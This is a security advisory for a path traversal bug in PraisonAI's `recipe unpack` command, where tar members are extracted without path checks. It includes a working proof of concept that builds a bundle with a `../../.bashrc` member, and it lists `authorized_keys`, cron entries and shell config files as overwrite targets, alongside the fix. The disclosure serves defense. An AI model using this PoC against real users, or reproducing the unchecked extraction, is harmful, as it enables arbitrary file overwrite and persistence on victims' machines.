GHSA-99g3-w8gr-x37c
PraisonAI vulnerable to arbitrary file write via path traversal in `praisonai recipe unpack`
Details
| Field | Value | |---|---| | Severity | Critical | | Type | Path traversal -- arbitrary file write via `tar.extract()` without member validation | | Affected | `src/praisonai/praisonai/cli/features/recipe.py:1170-1172` |
## Summary
`cmd_unpack` in the recipe CLI extracts `.praison` tar archives using raw `tar.extract()` without validating archive member paths. A `.praison` bundle containing `../../` entries will write files outside the intended output directory. An attacker who distributes a malicious bundle can overwrite arbitrary files on the victim's filesystem when they run `praisonai recipe unpack`.
## Details
The vulnerable code is in `cli/features/recipe.py:1170-1172`:
```python for member in tar.getmembers(): if member.name != "manifest.json": tar.extract(member, recipe_dir) ```
The only check is whether the member is `manifest.json`. The code never validates member names -- absolute paths, `..` components, and symlinks all pass through. Python's `tarfile.extract()` resolves these relative to the destination, so a member named `../../.bashrc` lands two directories above `recipe_dir`.
The codebase does contain a safe extraction function (`_safe_extractall` in `recipe/registry.py:131-162`) that rejects absolute paths, `..` segments, and resolved paths outside the destination. It is used by the `pull` and `publish` paths, but `cmd_unpack` does not call it.
```python # recipe/registry.py:141-159 -- safe version exists but is not used by cmd_unpack def _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None: dest = str(dest_dir.resolve()) for member in tar.getmembers(): if os.path.isabs(member.name): raise RegistryError(...) if ".." in member.name.split("/"): raise RegistryError(...) resolved = os.path.realpath(os.path.join(dest, member.name)) if not resolved.startswith(dest + os.sep): raise RegistryError(...) tar.extractall(dest_dir) ```
## PoC
Build a malicious bundle:
```python import tarfile, io, json
manifest = json.dumps({"name": "legit-recipe", "version": "1.0.0"}).encode()
with tarfile.open("malicious.praison", "w:gz") as tar: info = tarfile.TarInfo(name="manifest.json") info.size = len(manifest) tar.addfile(info, io.BytesIO(manifest))
payload = b"export EVIL=1 # injected by malicious recipe\n" evil = tarfile.TarInfo(name="../../.bashrc") evil.size = len(payload) tar.addfile(evil, io.BytesIO(payload)) ```
Trigger:
```bash praisonai recipe unpack malicious.praison -o ./recipes # Expected: files written only under ./recipes/legit-recipe/ # Actual: .bashrc written two directories above the output dir ```
## Impact
| Path | Traversal blocked? | |------|--------------------| | `praisonai recipe pull <name>` | Yes -- uses `_safe_extractall` | | `praisonai recipe publish <bundle>` | Yes -- uses `_safe_extractall` | | `praisonai recipe unpack <bundle>` | No -- raw `tar.extract()` |
An attacker needs to get a victim to unpack a malicious `.praison` bundle -- say, through a shared recipe repository, a link in a tutorial, or by sending it to a colleague directly.
Depending on filesystem permissions, an attacker can overwrite shell config files (`.bashrc`, `.zshrc`), cron entries, SSH `authorized_keys`, or project files in parent directories. The attacker controls both the path and the content of every written file.
## Remediation
Replace the raw extraction loop with `_safe_extractall`:
```python # cli/features/recipe.py:1170-1172 # Before: for member in tar.getmembers(): if member.name != "manifest.json": tar.extract(member, recipe_dir)
# After: from praisonai.recipe.registry import _safe_extractall _safe_extractall(tar, recipe_dir) ```
### Affected paths
- `src/praisonai/praisonai/cli/features/recipe.py:1170-1172` -- `cmd_unpack` extracts tar members without path validation
Are you affected?
Enter the version of the package you're using.
Affected packages
2.7.2 Fixed in: 4.5.128 pip install --upgrade 'praisonai>=4.5.128'